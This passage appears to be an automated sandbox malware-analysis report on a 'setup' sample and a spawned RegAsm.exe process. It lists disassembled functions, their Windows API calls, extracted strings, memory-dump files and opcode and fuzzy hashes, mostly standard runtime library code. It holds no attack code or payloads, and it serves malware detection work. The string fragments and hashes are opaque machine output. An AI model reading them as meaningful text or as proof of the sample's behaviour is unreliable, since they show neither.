Opcode ID: 69bbc8192b68bfa5e18ededd0598596e270af5c2975e95d3c7bcf6be0d2bbef4
Instruction ID: 0e22e8de48af5892f3c2fc5e2a691767dd7a452591eef07ca3ee23ce742d402a
Opcode Fuzzy Hash: 69bbc8192b68bfa5e18ededd0598596e270af5c2975e95d3c7bcf6be0d2bbef4
Instruction Fuzzy Hash: 6E51A37292029AEBEB219FA6CC49FAF7BA9EF44740F144525F905D71A1E7348D10CB70

Function 00AFCAA9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,AD69BC82,?,00AFCBB6,?,?,?,00000000), ref: 00AFCB6A

Strings

ext-ms-, xrefs: 00AFCB14
api-ms-, xrefs: 00AFCB00

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 650f80925c8f1b0938a6f281f26608744307e57e03e9496be7d42b12c2e093c0
Instruction ID: c618e967d82ab1d216b61d920ff85dd21b662553f0d82498b8092d7336d577a8
Opcode Fuzzy Hash: 650f80925c8f1b0938a6f281f26608744307e57e03e9496be7d42b12c2e093c0
Instruction Fuzzy Hash: C2212735A0021DEBCB229BA6DD46A7A77A9DB117B4F100211FB16A7290EF70EE00C6D0

Function 00AE2990 Relevance: 9.1, APIs: 6, Instructions: 95COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AE299D
std::_Lockit::_Lockit.LIBCPMT ref: 00AE29BB
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE29DC
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE2A2C
std::_Facet_Register.LIBCPMT ref: 00AE2A56
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE2A6F

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register
String ID:
API String ID: 1858714459-0
Opcode ID: fbab18c96e93b6d48fb3487186e81ccb68f140a514ed841fd0e361d0b19f66da
Instruction ID: e20e9a28367667233f984caeae2dd1d7bb293dbc5c48258858445aa36e3624ec
Opcode Fuzzy Hash: fbab18c96e93b6d48fb3487186e81ccb68f140a514ed841fd0e361d0b19f66da
Instruction Fuzzy Hash: BC21E4319003958FC721EF16ED80A6BB7A4FF913A0F14067DE841572A2DB35AD0AC7C2

Function 00AEEA2A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00AEEA21,00AED15A,00AEC24A), ref: 00AEEA38
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00AEEA46
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00AEEA5F
SetLastError.KERNEL32(00000000,00AEEA21,00AED15A,00AEC24A), ref: 00AEEAB1

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 62afb6705d5a94aeb03c953d4ab4683232673a06dfbe6860aa4e61805a7c59e1
Instruction ID: 65f3524c833314ff4ba632204b2bb5807ebd31227f87cc0ae7e7172068eb5502
Opcode Fuzzy Hash: 62afb6705d5a94aeb03c953d4ab4683232673a06dfbe6860aa4e61805a7c59e1
Instruction Fuzzy Hash: D8014C3210D3955EE62457BA7E8552E6A64FB91BF2B30433FF915C30E0FF514C015544

Function 00AF96A2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,AD69BC82,?,?,00000000,00B0BB97,000000FF,?,00AF9632,?,?,00AF9606,00000000), ref: 00AF96D7
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00AF96E9
FreeLibrary.KERNEL32(00000000,?,00000000,00B0BB97,000000FF,?,00AF9632,?,?,00AF9606,00000000), ref: 00AF970B

Strings

mscoree.dll, xrefs: 00AF96D0
CorExitProcess, xrefs: 00AF96E1

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 4abe2ecb0d807672e9cb22af5f1faccfc1cb49bcfa3455f535637f8862325fdb
Instruction ID: 3d23c39fa17525c4ef90f47a497ea93dae0c50d5db70991dab9f3063f75bbe96
Opcode Fuzzy Hash: 4abe2ecb0d807672e9cb22af5f1faccfc1cb49bcfa3455f535637f8862325fdb
Instruction Fuzzy Hash: 41014F32A14759EBDB119F94DC45FBEBFB9FB04B14F044666F811A26E0EF749900CA90

Function 00B01C33 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B01CBA
__alloca_probe_16.LIBCMT ref: 00B01D7B
__freea.LIBCMT ref: 00B01DE2

Part of subcall function 00AFFDAA: HeapAlloc.KERNEL32(00000000,?,?,?,00AEB54E,?,?,00AE14CD,?,?,00AE83EE,?,?), ref: 00AFFDDC

__freea.LIBCMT ref: 00B01DF7
__freea.LIBCMT ref: 00B01E07

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 2da3d036879b10ffe55fd22c6dc1f80f50245fa78dc286660bc987f83918b4b8
Instruction ID: e57a7b531f4d4219da483b0a30fd4154d6ccaa025653c4ca8ebcc6af57bc817e
Opcode Fuzzy Hash: 2da3d036879b10ffe55fd22c6dc1f80f50245fa78dc286660bc987f83918b4b8
Instruction Fuzzy Hash: A951C87260020AAFEB299FA9CD85EBB7EE9EF04350B154AB9FD04D7191E731CC508660

Function 00AEA042 Relevance: 7.6, APIs: 5, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AEA049
std::_Lockit::_Lockit.LIBCPMT ref: 00AEA053

Part of subcall function 00AE3BE0: std::_Lockit::_Lockit.LIBCPMT ref: 00AE3BEF
Part of subcall function 00AE3BE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE3C0A

codecvt.LIBCPMT ref: 00AEA08D
std::_Facet_Register.LIBCPMT ref: 00AEA0A4
std::_Lockit::~_Lockit.LIBCPMT ref: 00AEA0C4

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registercodecvt
String ID:
API String ID: 712880209-0
Opcode ID: dbec05cab133f36d79788ca3451d19f6c91fa43f3e90a06c102f213523d8ba9e
Instruction ID: 7aa45bd8e3f1739743310f2805f76da30dd6674dbe96e4a6faf185deb62f5313
Opcode Fuzzy Hash: dbec05cab133f36d79788ca3451d19f6c91fa43f3e90a06c102f213523d8ba9e
Instruction Fuzzy Hash: F51100729102599FDB14EB6ADA057AEB7F8EF44320F200549E402A73D1DFB4AE008B91

Function 00AE94F0 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE94F7
std::_Lockit::_Lockit.LIBCPMT ref: 00AE9502
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE9570

Part of subcall function 00AE9653: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00AE966B

std::locale::_Setgloballocale.LIBCPMT ref: 00AE951D
_Yarn.LIBCPMT ref: 00AE9533

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: b17ec5728f120128c3a4cf580f5fb32bcc72beeb30e8bff1cfd4b237bed5000c
Instruction ID: 76557421ffe22171e78c2fe59730a01b8c6724e672c4e8662c931c098343347d
Opcode Fuzzy Hash: b17ec5728f120128c3a4cf580f5fb32bcc72beeb30e8bff1cfd4b237bed5000c
Instruction Fuzzy Hash: 4F01DF75A002959BDB0AEF22DD0597E7BA1FF84740B044009E802573D2CF74AE02CBA1

Function 00AEFB72 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00B162A8,00000000,00000800,?,00AEFB23,00000000,?,?,?,?,?,00AEFC4D,00000002,FlsGetValue,00B0E068,FlsGetValue), ref: 00AEFB7F
GetLastError.KERNEL32(?,00AEFB23,00000000,?,?,?,?,?,00AEFC4D,00000002,FlsGetValue,00B0E068,FlsGetValue,00000000,?,00AEEADD), ref: 00AEFB89
LoadLibraryExW.KERNEL32(00B162A8,00000000,00000000,?,00B162A8,?,?,?,?,?,?,00B16140,?,00B16140,?,00000000), ref: 00AEFBB1

Strings

api-ms-, xrefs: 00AEFB96

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f2266517fd8a0fabf3e3a3bd7260826a46a76e7409f03428291878391ceccbe7
Instruction ID: 8125acda3b35992aa97ac846138418ef757fbfbbc79b2261e2aa0d6d9ac60f18
Opcode Fuzzy Hash: f2266517fd8a0fabf3e3a3bd7260826a46a76e7409f03428291878391ceccbe7
Instruction Fuzzy Hash: F0E04F31280208FFEF201BB2ED06F183E5AEB10B40F104470FB0CA80E1FBA1D910D585

Function 00AFD78D Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(AD69BC82,00000000,00000000,00000000), ref: 00AFD7F0

Part of subcall function 00B0237F: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00B01DD8,?,00000000,-00000008), ref: 00B0242B

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00AFDA4B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00AFDA93
GetLastError.KERNEL32 ref: 00AFDB36

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 75913a9e8e1d8d115c036c237a0a1987a27c1f9cd9600e214d72a617f903ffdf
Instruction ID: bf65f609d78a48053f20d6f00bd6c05a9e6bb58fa68d980a610704d673092f98
Opcode Fuzzy Hash: 75913a9e8e1d8d115c036c237a0a1987a27c1f9cd9600e214d72a617f903ffdf
Instruction Fuzzy Hash: F9D15A75D042589FCB16CFE8C880AADBBF6FF08314F18466AE956E7351E730A941CB50

Function 00AEEB41 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00AEEC08
___AdjustPointer.LIBCMT ref: 00AEEC2B
___AdjustPointer.LIBCMT ref: 00AEECC7

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: dd2fe6436780f72d4d19a2dde33729e167d5aff7d1618e3197a02c77f104feef
Instruction ID: 413e35c8dab7e48db43164ec41372209c54b0ea96c8ecea03af109a099fbbe6e
Opcode Fuzzy Hash: dd2fe6436780f72d4d19a2dde33729e167d5aff7d1618e3197a02c77f104feef
Instruction Fuzzy Hash: 24510272A00686AFDB28DF56C941BBA77B4FF80714F24452DE80687291E731EC91C7D1

Function 00B0A1DD Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00B06AD8,00000000,00000001,00000000,00000000,?,00AFDB8A,00000000,00000000,00000000), ref: 00B0A1F4
GetLastError.KERNEL32(?,00B06AD8,00000000,00000001,00000000,00000000,?,00AFDB8A,00000000,00000000,00000000,00000000,00000000,?,00AFE148,00000000), ref: 00B0A200

Part of subcall function 00B0A1C6: CloseHandle.KERNEL32(FFFFFFFE,00B0A210,?,00B06AD8,00000000,00000001,00000000,00000000,?,00AFDB8A,00000000,00000000,00000000,00000000,00000000), ref: 00B0A1D6

___initconout.LIBCMT ref: 00B0A210

Part of subcall function 00B0A188: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B0A1B7,00B06AC5,00000000,?,00AFDB8A,00000000,00000000,00000000,00000000), ref: 00B0A19B

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00B06AD8,00000000,00000001,00000000,00000000,?,00AFDB8A,00000000,00000000,00000000,00000000), ref: 00B0A225

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: b537b0fdf282ea78958e262b617bbe7cac88b1eef12439729db4bf9391241c84
Instruction ID: 385f3c1383e0b0a5e37ea3333bad146a69669f8491f8d45d20edcdf22e3ee719
Opcode Fuzzy Hash: b537b0fdf282ea78958e262b617bbe7cac88b1eef12439729db4bf9391241c84
Instruction Fuzzy Hash: E0F0C076500214BBCF222FD5EC04A9E7FA6FB193E1F044950FE1996170DB728861EBA1

Function 00AEE830 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00AEE86F
__IsNonwritableInCurrentImage.LIBCMT ref: 00AEE923

Strings

csm, xrefs: 00AEE90D

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: ab982d200adf55a8d1e314686a4c7d268249d0da1431b1671357124562edbdc0
Instruction ID: 2c92105e95572bba88117f7114c501d96b532f92a025a061dcf5513a34d060e0
Opcode Fuzzy Hash: ab982d200adf55a8d1e314686a4c7d268249d0da1431b1671357124562edbdc0
Instruction Fuzzy Hash: 4241E534A002999FCF10DF6AC884A9EBBF5EF44324F1484A5E819AB392D731DA05CB91

Function 00AEF13D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00AEF162

Strings

MOC, xrefs: 00AEF174
RCC, xrefs: 00AEF17C

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 585b986a4a851d05485c5a7df5b0c5b08dc0519c1993ad801482a9f659f07bbb
Instruction ID: f14d526d04ca398fcc47aca66b173105b7bedb73c2b65c630f4dacf8bba31c04
Opcode Fuzzy Hash: 585b986a4a851d05485c5a7df5b0c5b08dc0519c1993ad801482a9f659f07bbb
Instruction Fuzzy Hash: DA41A976A00249EFDF15DF99CD81AEEBBB1FF48304F1881A9FA08A7211D3359A50CB51

Function 00AE3230 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AE3235
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00AE327A

Part of subcall function 00AE95EE: _Yarn.LIBCPMT ref: 00AE960D
Part of subcall function 00AE95EE: _Yarn.LIBCPMT ref: 00AE9631

Strings

bad locale name, xrefs: 00AE3288

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 2e6260561893ac62df567f633decb7beb8522749db3bafc26af07b30c67e672e
Instruction ID: a2ce54e2ba4c3ed58faa605ea98b40d3b38290175242048b1f02cdf7f18b4a02
Opcode Fuzzy Hash: 2e6260561893ac62df567f633decb7beb8522749db3bafc26af07b30c67e672e
Instruction Fuzzy Hash: B3F03A71105B809ED370DF7A8505743BEE0AF29314F048E5EE4DAC7A91E375E508CBA6

Function 00AE3BE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00AE3BEF
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE3C0A

Strings

ios_base::badbit set, xrefs: 00AE3BE1

Memory Dump Source

Source File: 00000000.00000002.2181895562.0000000000AE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000000.00000002.2181853434.0000000000AE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181962417.0000000000B0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2181989757.0000000000B18000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182032607.0000000000B64000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ae0000_setup.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: ios_base::badbit set
API String ID: 593203224-3882152299
Opcode ID: af0383f2fabcc766142ac4820dbb29cf236d2050a0de911a13818efb2f0b6800
Instruction ID: bb9a78ccf809feb59ba77cc4983c254f3e08f086ec586f5680f9a491bb90bf75
Opcode Fuzzy Hash: af0383f2fabcc766142ac4820dbb29cf236d2050a0de911a13818efb2f0b6800
Instruction Fuzzy Hash: 64E08C71100242DFD724EF15DD55B92B7E0EF54350F200A2EE0C293190EFB09880DB40

Analysis Process: RegAsm.exePID: 5592, Parent PID: 3160COMMON

Execution Graph

Execution Coverage:	15.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.3%
Total number of Nodes:	350
Total number of Limit Nodes:	23

Executed Functions

Function 0041C67E Relevance: 20.7, APIs: 3, Strings: 8, Instructions: 1485COMMON

Download Yara Rule

Strings

RU, xrefs: 0041D7DD
FV, xrefs: 0041D7ED
{e, xrefs: 0041DCA4, 0041DCA8
nm, xrefs: 0041DA61
us, xrefs: 0041DA51
ME, xrefs: 0041D7D5
}{, xrefs: 0041DA41
_Y, xrefs: 0041D7E5

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: FV$ME$RU$_Y$nm${e$us$}{
API String ID: 0-3137052455
Opcode ID: a4d1783f41ba9e83b6abd42f9078035ee67ff372bed82c81e97ea8b72eb6dba6
Instruction ID: 18095c0d613c7e4fca07a97df36040dffd14ae9a72e678db831ef0531e338534
Opcode Fuzzy Hash: a4d1783f41ba9e83b6abd42f9078035ee67ff372bed82c81e97ea8b72eb6dba6
Instruction Fuzzy Hash: 9FB29BB5608341CFD318CF18D890B6BB7E1FF8A354F14892DE4999B3A1D734A985CB86

Function 0041D4E0 Relevance: 18.1, APIs: 2, Strings: 8, Instructions: 554
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000E,00000000,00000000,?), ref: 0041D5FD
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000000E,00000000,?,?), ref: 0041D62D

Strings

RU, xrefs: 0041D7DD
FV, xrefs: 0041D7ED
{e, xrefs: 0041DCA4, 0041DCA8
nm, xrefs: 0041DA61
us, xrefs: 0041DA51
ME, xrefs: 0041D7D5
}{, xrefs: 0041DA41
_Y, xrefs: 0041D7E5

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: FV$ME$RU$_Y$nm${e$us$}{
API String ID: 237503144-3137052455
Opcode ID: ba73425cf05a851d930368bccd84be2363191e16674f02d9c6d3114ac7e3e1f6
Instruction ID: e5321231cfcc27ac2a2f222ef30045f45cb7c0dfcbf3e2ce2c8c20d1119ded8a
Opcode Fuzzy Hash: ba73425cf05a851d930368bccd84be2363191e16674f02d9c6d3114ac7e3e1f6
Instruction Fuzzy Hash: C02274B55083819BE324CF14C890B9BBBF1FFC5748F044A2DE4999B391D7789946CB8A

Function 0040A2D0 Relevance: 13.0, Strings: 10, Instructions: 454
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0, xrefs: 0040A346
69, xrefs: 0040A81B
=5>7, xrefs: 0040A810
~q, xrefs: 0040A8AF
CPKT, xrefs: 0040A577
=R, xrefs: 0040A747
0&37, xrefs: 0040A418
S@MN, xrefs: 0040A57F
@Y, xrefs: 0040A757
XC, xrefs: 0040A75F

Memory Dump Source

Source File: 00000001.00000002.2115819621.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 0$0&37$69$=5>7$=R$@Y$CPKT$S@MN$XC$~q
API String ID: 0-2055083758
Opcode ID: 880f53d964a0e9b77d48151257eb1767705a4f868f0182372404917249e2104e
